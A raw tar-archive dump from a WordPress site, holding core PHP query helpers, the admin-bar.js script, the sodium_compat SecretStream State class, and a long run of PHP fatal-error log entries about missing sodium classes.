function _find_post_by_old_date( $post_type ) {
	global $wpdb;

	$date_query = '';
	if ( get_query_var( 'year' ) ) {
		$date_query .= $wpdb->prepare( ' AND YEAR(pm_date.meta_value) = %d', get_query_var( 'year' ) );
	}
	if ( get_query_var( 'monthnum' ) ) {
		$date_query .= $wpdb->prepare( ' AND MONTH(pm_date.meta_value) = %d', get_query_var( 'monthnum' ) );
	}
	if ( get_query_var( 'day' ) ) {
		$date_query .= $wpdb->prepare( ' AND DAYOFMONTH(pm_date.meta_value) = %d', get_query_var( 'day' ) );
	}

	$id = 0;
	if ( $date_query ) {
		$query        = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta AS pm_date, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_date' AND post_name = %s" . $date_query, $post_type, get_query_var( 'name' ) );
		$key          = md5( $query );
		$last_changed = wp_cache_get_last_changed( 'posts' );
		$cache_key    = "find_post_by_old_date:$key:$last_changed";
		$cache        = wp_cache_get( $cache_key, 'post-queries' );
		if ( false !== $cache ) {
			$id = $cache;
		} else {
			$id = (int) $wpdb->get_var( $query );
			if ( ! $id ) {
				// Check to see if an old slug matches the old date.
				$id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts, $wpdb->postmeta AS pm_slug, $wpdb->postmeta AS pm_date WHERE ID = pm_slug.post_id AND ID = pm_date.post_id AND post_type = %s AND pm_slug.meta_key = '_wp_old_slug' AND pm_slug.meta_value = %s AND pm_date.meta_key = '_wp_old_date'" . $date_query, $post_type, get_query_var( 'name' ) ) );
			}
			wp_cache_set( $cache_key, $id, 'post-queries' );
		}
	}

	return $id;
}

/**
 * Set up global post data.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability to pass a post ID to `$post`.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
 * @return bool True when finished.
 */
function setup_postdata( $post ) {
	global $wp_query;

	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
		return $wp_query->setup_postdata( $post );
	}

	return false;
}

/**
 * Generates post data.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
 * @return array|false Elements of post, or false on failure.
 */
function generate_postdata( $post ) {
	global $wp_query;

	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
		return $wp_query->generate_postdata( $post );
	}

	return false;
}
14338/admin-bar.js.tar000064400000030000151024420100010161 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/admin-bar.js000064400000024463151024231040024161 0ustar00/**
 * @output wp-includes/js/admin-bar.js
 */
/**
 * Admin bar with Vanilla JS, no external dependencies.
 *
 * @since 5.3.1
 *
 * @param {Object} document  The document object.
 * @param {Object} window    The window object.
 * @param {Object} navigator The navigator object.
 *
 * @return {void}
 */
( function( document, window, navigator ) {
	document.addEventListener( 'DOMContentLoaded', function() {
		var adminBar = document.getElementById( 'wpadminbar' ),
			topMenuItems,
			allMenuItems,
			adminBarLogout,
			adminBarSearchForm,
			shortlink,
			skipLink,
			mobileEvent,
			adminBarSearchInput,
			i;

		if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
			return;
		}

		topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
		allMenuItems = adminBar.querySelectorAll( '.ab-item' );
		adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
		adminBarSearchForm = document.getElementById( 'adminbarsearch' );
		shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
		skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
		mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';

		// Remove nojs class after the DOM is loaded.
		removeClass( adminBar, 'nojs' );

		if ( 'ontouchstart' in window ) {
			// Remove hover class when the user touches outside the menu items.
			document.body.addEventListener( mobileEvent, function( e ) {
				if ( ! getClosest( e.target, 'li.menupop' ) ) {
					removeAllHoverClass( topMenuItems );
				}
			} );

			// Add listener for menu items to toggle hover class by touches.
			// Remove the callback later for better performance.
			adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
				for ( var i = 0; i < topMenuItems.length; i++ ) {
					topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
				}

				adminBar.removeEventListener( 'touchstart', bindMobileEvents );
			} );
		}

		// Scroll page to top when clicking on the admin bar.
		adminBar.addEventListener( 'click', scrollToTop );

		for ( i = 0; i < topMenuItems.length; i++ ) {
			// Adds or removes the hover class based on the hover intent.
			window.hoverintent(
				topMenuItems[i],
				addClass.bind( null, topMenuItems[i], 'hover' ),
				removeClass.bind( null, topMenuItems[i], 'hover' )
			).options( {
				timeout: 180
			} );

			// Toggle hover class if the enter key is pressed.
			topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
		}

		// Remove hover class if the escape key is pressed.
		for ( i = 0; i < allMenuItems.length; i++ ) {
			allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
		}

		if ( adminBarSearchForm ) {
			adminBarSearchInput = document.getElementById( 'adminbar-search' );

			// Adds the adminbar-focused class on focus.
			adminBarSearchInput.addEventListener( 'focus', function() {
				addClass( adminBarSearchForm, 'adminbar-focused' );
			} );

			// Removes the adminbar-focused class on blur.
			adminBarSearchInput.addEventListener( 'blur', function() {
				removeClass( adminBarSearchForm, 'adminbar-focused' );
			} );
		}

		if ( shortlink ) {
			shortlink.addEventListener( 'click', clickShortlink );
		}

		// Prevents the toolbar from covering up content when a hash is present in the URL.
		if ( window.location.hash ) {
			window.scrollBy( 0, -32 );
		}

		// Clear sessionStorage on logging out.
		if ( adminBarLogout ) {
			adminBarLogout.addEventListener( 'click', emptySessionStorage );
		}
	} );

	/**
	 * Remove hover class for top level menu item when escape is pressed.
	 *
	 * @since 5.3.1
	 *
	 * @param {Event} event The keydown event.
	 */
	function removeHoverIfEscape( event ) {
		var wrapper;

		if ( event.which !== 27 ) {
			return;
		}

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		wrapper.querySelector( '.menupop > .ab-item' ).focus();
		removeClass( wrapper, 'hover' );
	}

	/**
	 * Toggle hover class for top level menu item when enter is pressed.
	 *
	 * @since 5.3.1
	 *
	 * @param {Event} event The keydown event.
	 */
	function toggleHoverIfEnter( event ) {
		var wrapper;

		// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
		if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
			return;
		}

		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
			return;
		}

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		event.preventDefault();

		if ( hasClass( wrapper, 'hover' ) ) {
			removeClass( wrapper, 'hover' );
		} else {
			addClass( wrapper, 'hover' );
		}
	}

	/**
	 * Toggle hover class for mobile devices.
	 *
	 * @since 5.3.1
	 *
	 * @param {NodeList} topMenuItems All menu items.
	 * @param {Event} event The click event.
	 */
	function mobileHover( topMenuItems, event ) {
		var wrapper;

		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
			return;
		}

		event.preventDefault();

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		if ( hasClass( wrapper, 'hover' ) ) {
			removeClass( wrapper, 'hover' );
		} else {
			removeAllHoverClass( topMenuItems );
			addClass( wrapper, 'hover' );
		}
	}

	/**
	 * Handles the click on the Shortlink link in the adminbar.
	 *
	 * @since 3.1.0
	 * @since 5.3.1 Use querySelector to clean up the function.
	 *
	 * @param {Event} event The click event.
	 * @return {boolean} Returns false to prevent default click behavior.
	 */
	function clickShortlink( event ) {
		var wrapper = event.target.parentNode,
			input;

		if ( wrapper ) {
			input = wrapper.querySelector( '.shortlink-input' );
		}

		if ( ! input ) {
			return;
		}

		// (Old) IE doesn't support preventDefault, and does support returnValue.
		if ( event.preventDefault ) {
			event.preventDefault();
		}

		event.returnValue = false;

		addClass( wrapper, 'selected' );

		input.focus();
		input.select();
		input.onblur = function() {
			removeClass( wrapper, 'selected' );
		};

		return false;
	}

	/**
	 * Clear sessionStorage on logging out.
	 *
	 * @since 5.3.1
	 */
	function emptySessionStorage() {
		if ( 'sessionStorage' in window ) {
			try {
				for ( var key in sessionStorage ) {
					if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
						sessionStorage.removeItem( key );
					}
				}
			} catch ( er ) {}
		}
	}

	/**
	 * Check if element has class.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 * @return {boolean} Whether the element has the className.
	 */
	function hasClass( element, className ) {
		var classNames;

		if ( ! element ) {
			return false;
		}

		if ( element.classList && element.classList.contains ) {
			return element.classList.contains( className );
		} else if ( element.className ) {
			classNames = element.className.split( ' ' );
			return classNames.indexOf( className ) > -1;
		}

		return false;
	}

	/**
	 * Add class to an element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 */
	function addClass( element, className ) {
		if ( ! element ) {
			return;
		}

		if ( element.classList && element.classList.add ) {
			element.classList.add( className );
		} else if ( ! hasClass( element, className ) ) {
			if ( element.className ) {
				element.className += ' ';
			}

			element.className += className;
		}

		var menuItemToggle = element.querySelector( 'a' );
		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
			menuItemToggle.setAttribute( 'aria-expanded', 'true' );
		}
	}

	/**
	 * Remove class from an element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 */
	function removeClass( element, className ) {
		var testName,
			classes;

		if ( ! element || ! hasClass( element, className ) ) {
			return;
		}

		if ( element.classList && element.classList.remove ) {
			element.classList.remove( className );
		} else {
			testName = ' ' + className + ' ';
			classes = ' ' + element.className + ' ';

			while ( classes.indexOf( testName ) > -1 ) {
				classes = classes.replace( testName, '' );
			}

			element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
		}

		var menuItemToggle = element.querySelector( 'a' );
		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
			menuItemToggle.setAttribute( 'aria-expanded', 'false' );
		}
	}

	/**
	 * Remove hover class for all menu items.
	 *
	 * @since 5.3.1
	 *
	 * @param {NodeList} topMenuItems All menu items.
	 */
	function removeAllHoverClass( topMenuItems ) {
		if ( topMenuItems && topMenuItems.length ) {
			for ( var i = 0; i < topMenuItems.length; i++ ) {
				removeClass( topMenuItems[i], 'hover' );
			}
		}
	}

	/**
	 * Scrolls to the top of the page.
	 *
	 * @since 3.4.0
	 *
	 * @param {Event} event The Click event.
	 *
	 * @return {void}
	 */
	function scrollToTop( event ) {
		// Only scroll when clicking on the wpadminbar, not on menus or submenus.
		if (
			event.target &&
			event.target.id !== 'wpadminbar' &&
			event.target.id !== 'wp-admin-bar-top-secondary'
		) {
			return;
		}

		try {
			window.scrollTo( {
				top: -32,
				left: 0,
				behavior: 'smooth'
			} );
		} catch ( er ) {
			window.scrollTo( 0, -32 );
		}
	}

	/**
	 * Get closest Element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} el Element to get parent.
	 * @param {string} selector CSS selector to match.
	 */
	function getClosest( el, selector ) {
		if ( ! window.Element.prototype.matches ) {
			// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
			window.Element.prototype.matches =
				window.Element.prototype.matchesSelector ||
				window.Element.prototype.mozMatchesSelector ||
				window.Element.prototype.msMatchesSelector ||
				window.Element.prototype.oMatchesSelector ||
				window.Element.prototype.webkitMatchesSelector ||
				function( s ) {
					var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
						i = matches.length;

					while ( --i >= 0 && matches.item( i ) !== this ) { }

					return i > -1;
				};
		}

		// Get the closest matching elent.
		for ( ; el && el !== document; el = el.parentNode ) {
			if ( el.matches( selector ) ) {
				return el;
			}
		}

		return null;
	}

} )( document, window, navigator );
14338/Core.tar000064400000625000151024420100006616 0ustar00SecretStream/State.php000064400000007050151024240020010726 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_SecretStream_State
 */
class ParagonIE_Sodium_Core_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            ParagonIE_Sodium_Core_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core_Util::load_4(
            ParagonIE_Sodium_Core_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
Ed25519.php000064400000000142151024240020006176 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class Ed25519 extends \ParagonIE_Sodium_Core_Ed25519
{

}
error_log000064400000106224151024240020006454 0ustar00[27-Oct-2025 22:51:33 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[28-Oct-2025 00:38:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[28-Oct-2025 02:12:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[28-Oct-2025 02:12:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[28-Oct-2025 06:55:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[28-Oct-2025 06:55:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[28-Oct-2025 06:57:37 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[28-Oct-2025 07:09:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4
[28-Oct-2025 07:09:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4
[28-Oct-2025 07:10:02 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[28-Oct-2025 07:11:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4
[28-Oct-2025 11:38:13 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4
[28-Oct-2025 12:14:13 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4
[01-Nov-2025 13:10:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[01-Nov-2025 15:05:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[01-Nov-2025 17:02:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[01-Nov-2025 17:02:42 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[01-Nov-2025 22:31:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[01-Nov-2025 22:31:37 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[01-Nov-2025 22:35:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[01-Nov-2025 22:44:25 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4
[01-Nov-2025 22:44:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4
[01-Nov-2025 22:44:32 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[01-Nov-2025 22:45:41 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4
[02-Nov-2025 02:33:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[02-Nov-2025 03:22:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4
[02-Nov-2025 03:43:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4
[02-Nov-2025 04:09:18 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[02-Nov-2025 07:39:19 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[02-Nov-2025 07:40:40 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[02-Nov-2025 15:28:15 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[02-Nov-2025 15:37:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4
[02-Nov-2025 15:37:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4
[02-Nov-2025 15:37:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[02-Nov-2025 15:38:50 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
